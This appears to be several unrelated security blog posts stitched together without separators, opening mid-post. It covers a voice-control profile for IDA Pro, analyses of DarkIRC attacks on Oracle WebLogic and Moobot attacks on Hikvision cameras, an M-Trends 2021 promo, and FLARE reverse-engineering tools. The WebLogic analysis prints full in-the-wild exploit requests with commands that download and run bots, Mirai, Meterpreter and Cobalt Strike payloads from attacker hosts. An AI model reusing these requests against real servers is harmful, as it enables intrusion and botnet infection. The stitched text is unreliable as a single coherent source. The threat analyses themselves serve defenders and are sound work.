While this is true and an important goal for the profile, it is not practical for people who have full use of their hands to go completely hands-free.
The commands that navigate the cursor in IDA Pro will never be as fast or easy as simply using the mouse to point and click somewhere on the screen.
In any case, users will find themselves building up a collection of voice commands they prefer to use that will depend on personal tastes.
However, enabling full voice control allows reverse engineers who do not have full use of their hands to still effectively operate IDA Pro, which we hope will be of great use to the community.
Having such a capability is also useful for those who suffer from repetitive strain injury .
Input Recognition
The commands described so far give you control over IDA Pro with your voice, but there is still the matter of providing textual input for items such as function and variable names, comments, and other text input fields.
VoiceAttack does provide the ability in macros to enable and disable what is called “Dictation Mode”.
When in Dictation Mode, any recognized words are added to a buffer of text until Dictation Mode is disabled.
Then this text can be used elsewhere in the macro.
Unfortunately, this feature is not designed to recognize the kinds of technical terms one would be using in the context of reverse engineering programs.
Even if it were, there is still the issue of having to format the text to be a valid function or variable name.
Instead of wrestling with this feature to try to make it work for this purpose, a very large and growing collection of “input recognition” commands was created.
These commands are designed to recognize common words used in the names of functions and variables, as well as full function names as found in the C runtime libraries and the Windows APIs.
Once recognized, the word or function name is copied to the user’s clipboard and pasted into the text field.
To avoid the inadvertent triggering of such commands during the regular operation of IDA Pro, these commands are only active when the “input mode” is enabled.
This mode is enabled automatically when certain commands are activated such as “rename” or “find”, and automatically disabled when dialog commands such as “OK” or “cancel” are activated.
The input mode can also be manually manipulated with the “input mode on” and “input mode off” commands.
Conclusion Today, the FLARE team is releasing a profile for VoiceAttack and a companion IDAPython plugin that enables full voice control of IDA Pro along with many added convenience features.
The profile contains over 1000 defined commands and growing.
It is easy to view, edit, and add commands to this profile to customize it to suit your needs or to improve it for the community at large.
The VoiceAttack software is highly affordable and enables you to create profiles for any applications or games that you use.
For installation instructions and usage information, see the project’s Github page .
Give it a try today!
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Juniper Threat Labs is seeing active attacks on Oracle WebLogic software using CVE-2020-14882.
This vulnerability, if successfully exploited, allows unauthenticated remote code execution.
As of this writing, we found 3,109 open Oracle WebLogic servers using Shodan.
We are seeing at least five different variants of attacks/payload.
For the purpose of this blog, we will focus on one particular payload that installs a bot called DarkIRC.
This bot performs a unique command and control domain generation algorithm that relies on the sent value of a particular crypto wallet.
This bot is currently being sold on hack forums for $75USD.
Open Oracle Weblogic servers on the internet DarkIRC DarkIRC version The attack issues an HTTP GET request to a vulnerable WebLogic server, which will execute a powershell script to download and execute a binary file hosted in cnc[.]c25e6559668942[.
]xyz GET /console/
images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&handle=
com.tangosol.coherence.mvel2.sh.
ShellSession\r\n(%22java.lang.
Runtime.getRuntime().exec('powershell%20-NoP%20-NonI%20-W%20Hidden%20-Exec%20Bypass%20%22\r\n(New-Object%20System.
Net.
WebClient).DownloadFile(%22http://cnc.c25e655{redacted}xyz/svchost.exe%22,%22$env:temp%0Degsvc.exe%22);\r\n%20Start-Process%20%22$env:temp%0Degsvc.exe%22%22');%22); HTTP/1.1\r\n\r\nHost: {redacted}:7001\r\n\r\nConnection: keep-alive\r\n\r\nAccept-Encoding: gzip, deflate\r\n\r\nAccept: */*\r\n\r\nUser-Agent: python-requests/2.24.0
The source IP is 83.97.20.90.
This IP resolves to the C&C of this bot which means the attacker IP is the same as the C&C.
The sha256 hash of the payload is d78c90684abcd21b26bccf4b6258494a894d9b8d967a79639f0815a17e1e59a5.
This payload is a .NET file with a file size of 6MB, fairly encrypted and has the following properties: Basic structure of the crypter The Crypter The crypter or the packer is being used primarily to conceal its true intention and avoid detection.
It also includes anti-analysis and anti-sandbox functions.
It tries to detect if it is running under the following virtualized environments to determine if it should  not continue its malicious routine: VMware VirtualBox VBox QEMU Xen
If it is not, it will load an encrypted file in its resource.
DarkIRC Crypter virtual environment check After unpacking, we can clearly see what this malware wants to do, based on the name of its functions.
Functions inside DarkIRC when unpacked Bot Functions The bot installs itself in the %APPDATA%\\Chrome\\Chrome.exe and creates an autorun entry.
Among its functions include: Browser Stealer Keylogging Bitcoin Clipper DDoS Slowloris RUDY (R-U-DeadYet?)
TCP Flood HTTP Flood UDP Flood Syn Flood Worm or spread itself in the network Download Files Execute Commands Bitcoin Clipper This function allows the malware to change the copied bitcoin wallet address to the malware operator’s bitcoin wallet address.
This essentially allows it to steal bitcoin transactions on the infected system.
This is similar to what Masad Stealer does.
DarkIRC clipping routine Bitcoin address by the malware operator: 3QRwJwLRFDBoeLZ2cToGUsdBGB3eqj3exH It connects to its Command and Control via IRC with an added encryption XOR encryption.
CnC communication is encrypted via XOR Below are the bot commands: Command Action steal Steal browser passwords mssql Spread via mssql (brute force) stopall Stop all flood attacks rudy Start or stop rudy flood attacks.
If command includes stop, it means stop rudy attacks.
rdp Spread via RDP (brute force) update Update this bot upload Upload files dlexerem Download, execute and remove udp Start/Stop udp flood attacks version Get version info of the infected system dlexe Download and execute username Get username of the infected system cd Set current directory getip Get IP address of the infected system md5 Get config md5 of bot usbspread Spread via USB tcp Start/Stop tcp flood attack discord Steal discord token botversion Get bot version syn Syn flood http Http flood slowloris Slowloris DDoS attack uninstall Uninstall itself smb Spread via SMB cmd Run command Command and Control DGA One of its interesting functions is to generate a domain, based on the value of a particular dogecoin wallet, DHeMmdtVhMYQxjbhe2yKvm8nbjSx1At6cZ It hashes the sent value of the wallet and gets the first 14 characters of the hash to complete the cnc domain below: cnc .<generated hash[:14].xyz>
At its current value, the resulting domain will be: cnc[dot]c25e6559668942.xyz DarkIRC uses a DGA that depends on the sent value of a particular dogecoin wallet The URL request returns a json formatted string, which includes the amount “sent” from that wallet.
Current sent value of the wallet that the DGA relies on.
In the event that the existing domain is taken down, the malware operator could make a transaction that will change the “sent” value from the wallet, which will generate a new cnc domain for all the bots.
Who is behind this?
We found an account in Hack Forums by the name of “Freak_OG” that advertised this botnet back in August 2020 for $75USD.
Threat actor advertising on hack forums.
On November 1, the same account posted a FUD (Fully Undetected) Crypter, selling it for $25USD.
The filename of the file he is showing in this post resembles the “Application Name” of our payload, WindowsFormsApp2.exe.
Threat actor advertising it’s crypter We are not certain if the bot operator who attacked our honeypot is the same person who is advertising this malware in Hack Forums or one of his/her customers.
Conclusion Threat actors will always be on the hunt for victims.
One of the fastest ways for them to be victimized is to use a zero day exploit and attack the internet, usually via a spray-and-pray technique.
This vulnerability was fixed by Oracle in October and a subsequent out of cycle patch was also released in November to fix a hole in the previous patch.
We recommend affected systems to patch immediately.
Oracle WebLogic RCE attacks Below is brief information about the different attacks we have seen from our sensors and the payloads they try to install.
Attack Variant 1: Cobalt Strike Payload Attacker IP 45.77.178.169 Attack Port 7001 IOC 139[.
]180.194.87 GET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=
com.tangosol.coherence.mvel2.sh.
ShellSession('weblogic.work.
ExecuteThread%20currentThread%20=%20\r\n(weblogic.work.
ExecuteThread)Thread.currentThread();%20weblogic.work.
WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.
Field%20field%20\r\n=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);\r\nweblogic.servlet.internal.
ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.
ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);\r\n%20String%20cmd%20=%20req.getHeader(%22cmd%22);String%5B%5D%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String%5B%5D%7B%22\r\ncmd.exe%22,%20%22/c%22,%20cmd%7D%20:%20new%20String%5B%5D%7B%22/bin/sh%22,%20%22-c%22,%20cmd%7D;if(cmd%20!=%20null%20)%7B%20String%20result%20=%20new%20java.util.
Scanner\r\n(new%20java.lang.
ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22%5C%5CA%22).next();%20weblogic.servlet.internal.
ServletResponseImpl%20res%20=%20\r\n(weblogic.servlet.internal.
ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream\r\n(new%20weblogic.xml.util.
StringInputStream(result));res.getServletOutputStream().flush();%7D%20currentThread.interrupt();') HTTP/1.0\r\n\r\nUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0)
Gecko/20100101 Firefox/67.0\r\n\r\nAccept-Encoding: gzip, deflate\r\n\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n\r\nConnection: keep-alive\r\n\r\ncmd: powershell -ENC
DQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbgAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AA0ACgAgA{redacted}
The powershell script executes a shellcode, which downloads from http://139[.
]180.194.87:2233/LkQT.
The URL did not return anything during our test.
Based on threat intelligence, this IP is related to Cobalt Strike.
Shellcode downloading Cobalt Strike Attack Variant 2: Perlbot Payload Attacker IP 85.248.227.163 Attack Port 7001 Payload Hash ef7df0f86ed1a1bca365d7247d60384ece4687db28e5ec9aee1a61b1cfa4befa POST /console/
css/%252e%252e%252fconsole.portal HTTP/1.0 User-Agent : Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0 Accept-Encoding : gzip, deflate Accept : */* Connection : keep-alive Content-Type : application/x-www-form-urlencoded cmd : unset HISTFILE;unset HISTSAVE;wget
http://159.69.66.124/bo;perl bo;rm -rf bo Content-Length : 1216 _nfpb=true&_pageLabel=
HomePage1&handle=
com.tangosol.coherence.mvel2.sh.
ShellSession\r\n( 'weblogic.work.
ExecuteThread executeThread = (weblogic.work.
ExecuteThread) Thread.currentThread();\r\nweblogic.work.
WorkAdapter adapter = executeThread.getCurrentWork();java.lang.reflect...{redacted} Attack 3:
Meterpreter Payload Attacker IP 185.65.134.178 Attack Port 7001 Payload Hash 4bafb11609f744948f7adbba60b8f122906d6cb079b1a1f3b9ba82f362e03889 POST /console/css/.%252e/console.portal HTTP/1.1 Host : {redacted}:7001 User-Agent : Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type : application/x-www-form-urlencoded Content-Length : 2304 handle=com.tangosol.coherence.mvel 2 .sh.
ShellSession %28%27 java.lang.
Runtime.getRuntime %28%29 .exec %28 new %20 java.lang.
String %28 java.util.
Base 64 .getDecoder
%28%29 .decode %28%22 cG 93 ZXJzaGVsbCAtdyBoaWRkZW 4 gLW 5 vcCAtYyAkYT 0 nMTg 1 LjY 1 LjEzNC 4 xNzgnOyRiPTg 3
Nzc 7 JGM 9 TmV 3 LU 9 iamVjdCBzeXN 0 ZW 0 ubmV 0
LnNvY 2 tldHMudGNwY 2 xpZW 50 OyRuYj 1 OZXctT 2 JqZW\r\nN 0 IFN 5 c 3 RlbS 5 CeXRlW 10 gJGMuUmVjZWl 2 ZUJ 1 ZmZlcl{redacted} Attack 4:
Mirai Payload Attacker IP 83.97.20.90 Attack Port 7001 Payload Hash 81d51082566d3cebbc8d0d3df201a342f8056efbfb95a7778b6f5d56a264fb07 GET /console/
images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLable=&\r\nhandle=
com.tangosol.coherence.mvel2.sh.
ShellSession(%22java.lang.
Runtime.getRuntime().exec\r\n('wget%20http://83[dot]97.20.90/mirai.x86%20-O%20/tmp/kpin;chmod%20777%20/tmp/kpin;/tmp/kpin');\r\n%22); HTTP/1.1 Host : {redacted}:7001 Connection : keep-alive Accept-Encoding : gzip, deflate Accept : */* User-Agent : python-requests/2.24.0 Content-type : application/x-www-form-urlencoded; charset=utf-8
The exploit is detected by IDP as “ HTTP:ORACLE:WLOGIC-UNAUTH-RCE”.
Juniper Advanced Threat Prevention (ATP) detects this file.
We are thrilled to launch M-Trends 2021 , the 12 th edition of our annual FireEye Mandiant publication.
The past year has been unique, as we witnessed an unprecedented combination of global events.
Business operations shifted in response to the worldwide pandemic and threat actors continued to escalate the sophistication and aggressiveness of their attacks, while in parallel leveraged unexpected global events to their advantage.
We discuss all of this and much more in the full report, which is available for download today .
But first, here is a sneak preview of the most popular M-Trends metric where we answer the critical question: Are organizations getting better at detecting attacks?
In short, yes!
Back in 2011, we reported a 416-day global median dwell time, indicating that attackers were operating undetected on a system or network for over a year on average.
This time, from Oct. 1, 2019 through Sept. 30, 2020, the median dwell time has decreased to only 24 days.
This means—for the first time in M-Trends history—the median dwell time has dropped to under one month.
Although this drop in dwell time is promising, it is critical for organizations to remember that cyber adversaries typically only need a few days to achieve their objective, such as identifying and stealing the crown jewels of a victim organization or launching a crippling ransomware attack.
Organizations across the globe must remain vigilant, to prepare for the next incident.
There is much more to unpack in the M-Trends 2021 report.
Here is a quick rundown of what to expect: By the Numbers : A large and diverse set of metrics including attacker dwell time, detection by source, industry targeting, growing threat techniques, sophisticated malware families, and more.
Ransomware : Front-line stories on how this harmful threat is evolving, challenges with recovery, and best practice hardening strategies to effectively combat this threat.
Newly Named Threat Groups :
More on FIN11, a financially motivated threat group that we promoted in 2020, which has been active since at least 2016 and is most recently known for operations involving ransomware and extortion.
Pandemic-Related Threats : Breakdown of countless espionage campaigns targeting ground-breaking research in the race to learn more about COVID-19.
UNC2452/SUNBURST :
UNC2452’s headline-making compromise of environments via an implant in the SolarWinds Orion platform, mapped to the attack lifecycle framework with details at every stage.
Case Studies : Mandiant engagements involving the rise of insider threats and how to be more prepared, plus advanced red teaming tactics that enabled access to executive emails without any exploits.
For over a decade, the mission of M-Trends has always been the same: to arm security professionals with insights on the latest attacker activity as seen directly on the front lines, backed by actionable learnings to improve organizations’ security postures within an evolving threat landscape.
Download the M-Trends 2021 report today, and then for more information, check out the FireEye Mandiant Virtual Summit .
Starting today and running through April 15, the event includes a variety of sessions, with three related to M-Trends : one that provides an overview of the report and highlights key topics , another focused on our “By the Numbers” chapter coupled with mitigation solutions related to these metrics, and one covering the report through a lens from the EMEA region .
Register now !
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FortiGuard Labs Threat Research Report Affected platforms : Hikvision Product Impact parties : IP Cam/NVR Impact :
Attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands in the web server Severity :
Critical Last September 18th, a threat researcher released a write-up about a remote code execution vulnerability that affects various products from Hikvision, one of the largest video surveillance brands in the world.
Hikvision is a CVE CNA and quickly assigned the CVE number, CVE-2021-36260 and released a patch for the vulnerability on the same day as the threat researcher’s disclosure.
Shortly after, FortiGuard Labs developed an IPS signature to address it.
During our analysis, we observed numerous payloads attempting to leverage this vulnerability to probing the status of devices or extracting sensitive data from victims.
One payload in particular caught our attention.
It tries to drop a downloader that exhibits infection behavior and that also executes Moobot, which is a DDoS botnet based on Mirai.
In this blog we explain how an attacker delivers this payload through the Hikvision vulnerability, along with details of the botnet.
Stage 0 – Exploitation and Propagation CVE-2021-36260 results from insufficient input validation, allowing unauthenticated users to inject malicious content into a <language> tag to trigger a command injection attack on a Hikvision product.
Below is an example of a request leveraging this exploit: We collected a number of payloads leveraging this vulnerability, and eventually found a downloader.
After tracing the traffic capture, the complete payload is shown in the following  figure: First, because the final Moobot will be saved as “macHelper,” it first tries to remove any file already named “macHelper.”
It then echoes code into “downloader,” which is a small ELF 32-bit LSB ARM file.
After downloader completes downloading, it executes Moobot with the parameter “hikivision”.
Finally, it changes commonly used commands, such as “reboot,” to prevent an administrator from invoking reboot on the affected device.
Stage 1 - Downloader The attacker leverages this vulnerability to drop a downloader (SHA256: 1DCE6F3BA4A8D355DF21A17584C514697EE0C37B51AB5657BC5B3A297B65955F).
It has only one job: download the main botnet.
It downloads the malware with “/arm5”
URI form server 199.195.250[.
]233:80 and prints “RAY” if the downloading process was successful.
The following image shows the disassembled code: From the IP address we not only get the moobot variants for different architectures, we also get the historic malware from directory “/h/“.
Stage 2 - Moobot Based on our analysis, the malware (SHA256: 38414BB5850A7076F4B33BF81BAC9DB0376A4DF188355FAC39D80193D7C7F557) downloaded in the previous stage is Moobot, which is Mirai-based.
Its most obvious feature is that it contains the data string “w5q6he3dbrsgmclkiu4to18npavj702f”, which is used in the “rand_alphastr” function.
It is used to create random alphanumeric strings with different purposes, such as for a setup process name or to generate data for attacking.
It also has some elements from Satori, which is another Mirai variant botnet.
It contains a “ downloader” that targets a victim’s IoT devices, and it prints a “9xsspnvgc8aj5pi7m28p” string after execution.
This variant also forks itself with the process name “/usr/sbin*” to try to look like a normal process while wiping out the original file, “macHelper”.
Since it is based on Mirai, the botnet also contains a data section to store its configuration.
The plaintext configuration can be decoded after XOR with 0x22:
After getting the C2 server (life.zerobytes[.
]cc) from its configuration, it starts sending heartbeat (\\x00\\x00) packets and then waits for the next control command from the C2 server.
Once the victim system receives the command, it starts a DDoS attack to a specific IP address and port number.
One example of the DDoS attack traffic is shown below: The DDoS attack command is 24 bytes and can be seen in the Data section in Figure 8.
This detail is illustrated in the following figure, which includes the flood method and the target IP/Port.
Except for SYN flood, the C2 server has other attacking commands, such as 0x06 for UDP flood, 0x04 for ACK flood, and 0x05 for ACK+PUSH flood.
The complete attack scenario from trying to infect Hikvision product to deploying Moobot is shown in figure 10: We also noticed that a DDoS service provider based the packet capture from our machine in Figure 11.
We tracked down a telegram channel named “tianrian,” which provides a DDoS service.
They use a specific string, “openmeokbye”, in their login interface, shown in Figure 12.
This channel was created on June 11, 2021, and started its service in August.
From the chatting channel we can see that the service is still updating.
Users should always look out for DDoS attacks and apply patches to vulnerable devices.
Conclusion Hikvision is one the biggest provider of IP cam/NVR products in the global market.
CVE-2021-36260 is a critical vulnerability that makes Hikvision products a target for Moobot.
In this blog we showed how an attacker can leverage CVE-2021-36260 and elaborated in detail each stage of the process.
Although a patch has been released to address this vulnerability, this IoT botnet will never stop looking for a vulnerable end point.
Because of this, users should upgrade affected devices immediately as well as apply FortiGuard protection.
Fortinet Protections Fortinet released IPS signature Hikvision.
Product.
SDK.WebLanguage.
Tag.
Command.
Injection for CVE-2021-36260 to proactively protect our customers.
The signature is officially released in IPS definition version 18.192.
The downloader and all related malware from that site are detected and blocked by FortiGuard AntiVirus: ELF/Mirai.
AE!tr ELF/Mirai.
BO!tr ELF/Mirai.
D!tr ELF/Mirai.
AYU!tr ELF/Mirai.
WJ!tr Linux/Mirai.
WJ!tr Both the downloading URL and C2 server have been rated as \"Malicious Websites\" by the FortiGuard Web Filtering service.
IOCs SHA256: 1DCE6F3BA4A8D355DF21A17584C514697EE0C37B51AB5657BC5B3A297B65955F 38414BB5850A7076F4B33BF81BAC9DB0376A4DF188355FAC39D80193D7C7F557 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
IDA Pro and the Hex Rays decompiler are a core part of any toolkit for reverse engineering and vulnerability research.
In a previous blog post we discussed how the Hex-Rays API can be used to solve small, well-defined problems commonly seen as part of malware analysis.
Having access to a higher-level representation of binary code makes the Hex-Rays decompiler a powerful tool for reverse engineering.
However, interacting with the HexRays API and its underlying data sources can be daunting, making the creation of generic analysis scripts difficult or tedious.
This blog post introduces the FLARE IDA Decompiler Library (FIDL) , FireEye’s open source library which provides a wrapper layer around the Hex-Rays API.
Background Output from the Hex-Rays decompiler is exposed to analysts via an Abstract Syntax Tree (AST).
Out of the box, processing a binary using the Hex-Rays API means iterating this AST using a tree visitor class which visits each node in the tree and issues a callback.
For every callback we can check to see what kind of node we are visiting (calls, additions, assignments, etc.)
and then process that node.
For more information on these constructs see our previous blog post.
The Problem While powerful, this workflow can be difficult to use when creating a generic API for several reasons: The order nodes are visited in, is not always obvious based on the decompiler output When visiting a node, we have no context about where we are in the AST Any problem which requires multiple steps requires multiple visitors or complicated logic in our callback function The amount of cases to handle when walking up or down the AST can increase exponentially Handling each of these cases in a single visitor callback function is untenable, so we need a way to more flexibly interact with the decompiler.
FIDL FIDL, the FLARE IDA Decompiler Library , is our implementation of a wrapper around the Hex-Rays API.
FIDL’s main goal is to abstract away the lower level details of the default decompiler API.
FIDL solves multiple problems: Provides analysts an easy-to-understand API layer which can be used to write more complicated binary processing scripts Abstracts away the minutiae of processing the AST Provides helper implementations for commonly needed functionality when working with the decompiler Provides documented examples on how to use various Hex-Rays APIs Many of FIDL’s benefits are exposed to users via the controlFlowinator class.
When constructing this object FIDL will parse the AST for us and provides a high-level summary of a function using information extracted via the decompiler including APIs called, their parameters, and a summary of local variables and parameters for the function.
Figure 1 shows a subset of information available via a controlFlowinator next to the decompilation of the function.
Figure 1: Sample output available as part of a controlFlowinator When parsing the AST during construction, the controlFlowinator also combines nodes representing the same logical expression into a more digestible form where each block translates roughly to one line of pseudocode.
Figure 2 and Figure 3 show the AST and controlFlowinator representations of the same function.
Figure 2:
The default rendering of the AST of a function Figure 3:
The control flow graph created by the controlFlowinator for the function shown in Figure 2
Compared to the default AST, this graph is organized by potential code paths that can be taken through a function.
This gives analysts a much more logical structure to iterate when trying to determine context for a particular expression.
Readily available access to variables and API calls used in a function makes creating scripts to leverage the Hex-Rays API much more straightforward.
In our previous blog post we introduced a script which uses the HexRays API to rename global variables based on the parameter to GetProcAddress.
Figure 4 shows this script rewritten using the FIDL API.
This new script is both easier to understand and does not rely on manually walking the AST.
Figure 4: Script that uses the FIDL API to map all calls to GetProcAddress to global variables Rather than calling GetProcAddress malware commonly manually revolves needed imports by walking the Export Address Table (EAT) and comparing the hashes of a DLL’s exports looking for pre-computed values.
As an analyst being able to quickly or automatically map these functions to their intended API makes it easier for us to identify which functions we should spend time analyzing.
Figure 5 shows an example of how FIDL can be used to handle these cases.
This script targets a DRIDEX sample with MD5 hash 7B82CF2CF9D08191C6828C3F62A2F914.
This binary uses CRC32 with an XOR key of 0x65C54023 as the hashing algorithm during import resolution.
Figure 5: IDAPython script to automatically process and markup a DRIDEX sample Running the above script results in output similar to what is shown in Figure 6, with comments labeling which functions are resolved.
Figure 6:
The script in Figure 5 inserts comments into the decompiler output annotating decrypted strings You can find FIDL in the FireEye GitHub repository .
Conclusion While the Hex-Rays decompiler is a powerful source of information during reverse engineering, writing generic scripts and plugins using the default API is difficult and requires handling numerous edge cases.
This post introduced the FIDL library , a wrapper around the Hex-Rays API, which fixes this by reducing the amount of low-level details an analyst needs to understand in order to create a script leveraging the decompiler and should make the creation of these scripts much faster.
In future blog posts we will publish more scripts and analysis utilizing this library.
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This blog post is the next episode in the FireEye Labs Advanced Reverse Engineering (FLARE) team Script Series.
Today, we are sharing a new IDAPython library – flare-emu – powered by IDA Pro and the Unicorn emulation framework that provides scriptable emulation features for the x86, x86_64, ARM, and ARM64 architectures to reverse engineers.
Along with this library, we are also sharing an Objective-C code analysis IDAPython script that uses it.
Read on to learn some creative ways that emulation can help solve your code analysis problems and how to use our new IDAPython library to save you lots of time in the process.
Why Emulation?
If you haven’t employed emulation as a means to solve a code analysis problem, then you are missing out!
I will highlight some of its benefits and a few use cases in order to give you an idea of how powerful it can be.
Emulation is flexible, and many emulation frameworks available today, including Unicorn, are cross-platform.
With emulation, you choose which code to emulate and you control the context under which it is executed.
Because the emulated code cannot access the system services of the operating system under which it is running, there is little risk of it causing damage.
All of these benefits make emulation a great option for ad-hoc experimentation, problem solving, or automation.
Use Cases Decoding/Decryption/Deobfuscation/Decompress – Often during malicious code analysis you will come across a function used to decode, decompress, decrypt, or deobfuscate some useful data such as strings, configuration data, or another payload.
If it is a common algorithm, you may be able to identify it by sight or with a plug-in such as signsrch .
Unfortunately, this is not often the case.
You are then left to either opening up a debugger and instrumenting the sample to decode it for you, or transposing the function by hand into whatever programming language fits your needs at the time.
These options can be time consuming and problematic depending on the complexity of the code and the sample you are analyzing.
Here, emulation can often provide a preferable third option.
Writing a script that emulates the function for you is akin to having the function available to you as if you wrote it or are calling it from a library.
This allows you to reuse the function as many times as it’s needed, with varying inputs, without having to open a debugger.
This case also applies to self-decrypting shellcode, where you can have the code decrypt itself for you.
Data Tracking – With emulation, you have the power to stop and inspect the emulation context at any time using an instruction hook.
Pairing a disassembler with an emulator allows you to pause emulation at key instructions and inspect the contents of registers and memory.
This allows you to keep tabs on interesting data as it flows through a function.
This can have several applications.
As previously covered in other blogs in the FLARE script series, Automating Function Argument Extraction and Automating Obfuscated String Decoding , this technique can be used to track the arguments passed to a given function throughout an entire program.
Function argument tracking is one of the techniques employed by the Objective-C code analysis tool introduced later in this post.
The data tracking technique could also be employed to track the this pointer in C++ code in order to markup object member references, or the return values from calls to GetProcAddress/dlsym in order to rename the variables they are stored in appropriately.
There are many possibilities.
Introducing flare-emu The FLARE team is introducing an IDAPython library, flare-emu , that marries IDA Pro’s binary analysis capabilities with Unicorn’s emulation framework to provide the user with an easy to use and flexible interface for scripting emulation tasks.
flare-emu is designed to handle all the housekeeping of setting up a flexible and robust emulator for its supported architectures so that you can focus on solving your code analysis problems.
It currently provides three different interfaces to serve your emulation needs, along with a slew of related helper and utility functions.
emulateRange – This API is used to emulate a range of instructions, or a function, within a user-specified context.
It provides options for user-defined hooks for both individual instructions and for when “call” instructions are encountered.
The user can decide whether the emulator will skip over, or call into function calls.
Figure 1 shows emulateRange used with both an instruction and call hook to track the return value of GetProcAddress calls and rename global variables to the name of the Windows APIs they will be pointing to.
In this example, it was only set to emulate from 0x401514 to 0x40153D .
This interface provides an easy way for the user to specify values for given registers and stack arguments.
If a bytestring is specified, it is written to the emulator’s memory and the pointer is written to the register or stack variable.
After emulation, the user can make use of flare-emu ’s utility functions to read data from the emulated memory or registers, or use the Unicorn emulation object that is returned for direct probing in case flare-emu does not expose some functionality you require.
A small wrapper function for emulateRange , named emulateSelection , can be used to emulate the range of instructions currently highlighted in IDA Pro.
Figure 1: emulateRange being used to track the return value of GetProcAddress iterate – This API is used to force emulation down specific branches within a function in order to reach a given target.
The user can specify a list of target addresses, or the address of a function from which a list of cross-references to the function is used as the targets, along with a callback for when a target is reached.
The targets will be reached, regardless of conditions during emulation that may have caused different branches to be taken.
Figure 2 illustrates a set of code branches that iterate has forced to be taken in order to reach its target; the flags set by the cmp instructions are irrelevant.
Like the emulateRange API, options for user-defined hooks for both individual instructions and for when “call” instructions are encountered are provided.
An example use of the iterate API is for the function argument tracking technique mentioned earlier in this post.
Figure 2:
A path of emulation determined by the iterate API in order to reach the target address emulateBytes – This API provides a way to simply emulate a blob of extraneous shellcode.
The provided bytes are not added to the IDB and are simply emulated as is.
This can be useful for preparing the emulation environment.
For example, flare-emu itself uses this API to manipulate a Model Specific Register (MSR) for the ARM64 CPU that is not exposed by Unicorn in order to enable Vector Floating Point (VFP) instructions and register access.
Figure 3 shows the code snippet that achieves this.
Like with emulateRange , the Unicorn emulation object is returned for further probing by the user in case flare-emu does not expose some functionality required by the user.
Figure 3: flare-emu using emulateBytes to enable VFP for ARM64 API Hooking As previously stated, flare-emu is designed to make it easy for you to use emulation to solve your code analysis needs.
One of the pains of emulation is in dealing with calls into library functions.
While flare-emu gives you the option to simply skip over call instructions, or define your own hooks for dealing with specific functions within your call hook routine, it also comes with predefined hooks for over 80 functions!
These functions include many of the common C runtime functions for string and memory manipulation that you will encounter, as well as some of their Windows API counterparts.
Examples Figure 4 shows a few blocks of code that call a function that takes a timestamp value and converts it to a string.
Figure 5 shows a simple script that uses flare-emu ’s iterate API to print the arguments passed to this function for each place it is called.
The script also emulates a simple XOR decode function and prints the resulting, decoded string.
Figure 6 shows the resulting output of the script.
Figure 4:
Calls to a timestamp conversion function Figure 5: Simple example of flare-emu usage Figure 6: Output of script shown in Figure 5 Here is a sample script that uses flare-emu to track return values of GetProcAddress and rename the variables they are stored in accordingly.
Check out our README for more examples and help with flare-emu .
Introducing objc2_analyzer Last year, I wrote a blog post to introduce you to reverse engineering Cocoa applications for macOS .
That post included a short primer on how Objective-C methods are called under the hood, and how this adversely affects cross-references in IDA Pro and other disassemblers.
An IDAPython script named objc2_xrefs_helper was also introduced in the post to help fix these cross-references issues.
If you have not read that blog post, I recommend reading it before continuing on reading this post as it provides some context for what makes objc2_analyzer particularly useful.
A major shortcoming of objc2_xrefs_helper was that if a selector name was ambiguous, meaning that two or more classes implement a method with the same name, the script was unable to determine which class the referenced selector belonged to at any given location in the binary and had to ignore such cases when fixing cross-references.
Now, with emulation support, this is no longer the case.
objc2_analyzer uses the iterate API from flare-emu along with instruction and call hooks that perform Objective-C disassembly analysis in order to determine the id and selector being passed for every call to objc_msgSend variants in a binary.
As an added bonus, it can also catch calls made to objc_msgSend variants when the function pointer is stored in a register, which is a very common pattern in Clang (the compiler used by modern versions of Xcode).
IDA Pro tries to catch these itself and does a pretty good job, but it doesn’t catch them all.
In addition to x86_64, support was also added for the ARM and ARM64 architectures in order to support reverse engineering iOS applications.
This script supersedes the older objc2_xrefs_helper script, which has been removed from our repo.
And, since the script can perform such data tracking in Objective-C code by using emulation, it can also determine whether an id is a class instance or a class object itself.
Additional support has been added to track ivars being passed as ids as well.
With all this information, Objective-C-style pseudocode comments are added to each call to objc_msgSend variants that represent the method call being made at each location.
An example of the script’s capability is shown in Figure 7 and Figure 8.
Figure 7: Objective-C IDB snippet before running objc2_analyzer Figure 8: Objective-C IDB snippet after running objc2_analyzer
Observe the instructions referencing selectors have been patched to instead reference the implementation function itself, for easy transition.
The comments added to each call make analysis much easier.
Cross-references from the implementation functions are also created to point back to the objc_msgSend calls that reference them as shown in Figure 9.
Figure 9: Cross-references added to IDB for implementation function It should be noted that every release of IDA Pro starting with 7.0 have brought improvements to Objective-C code analysis and handling.
However, at the time of writing, the latest version of IDA Pro being 7.2, there are still shortcomings that are mitigated using this tool as well as the immensely helpful comments that are added.
objc2_analyzer is available, along with our other IDA Pro plugins and scripts , at our GitHub page.
Conclusion flare-emu is a flexible tool to include in your arsenal that can be applied to a variety of code analysis problems.
Several example problems were presented and solved using it in this blog post, but this is just a glimpse of its possible applications.
If you haven’t given emulation a try for solving your code analysis problems, we hope you will now consider it an option.
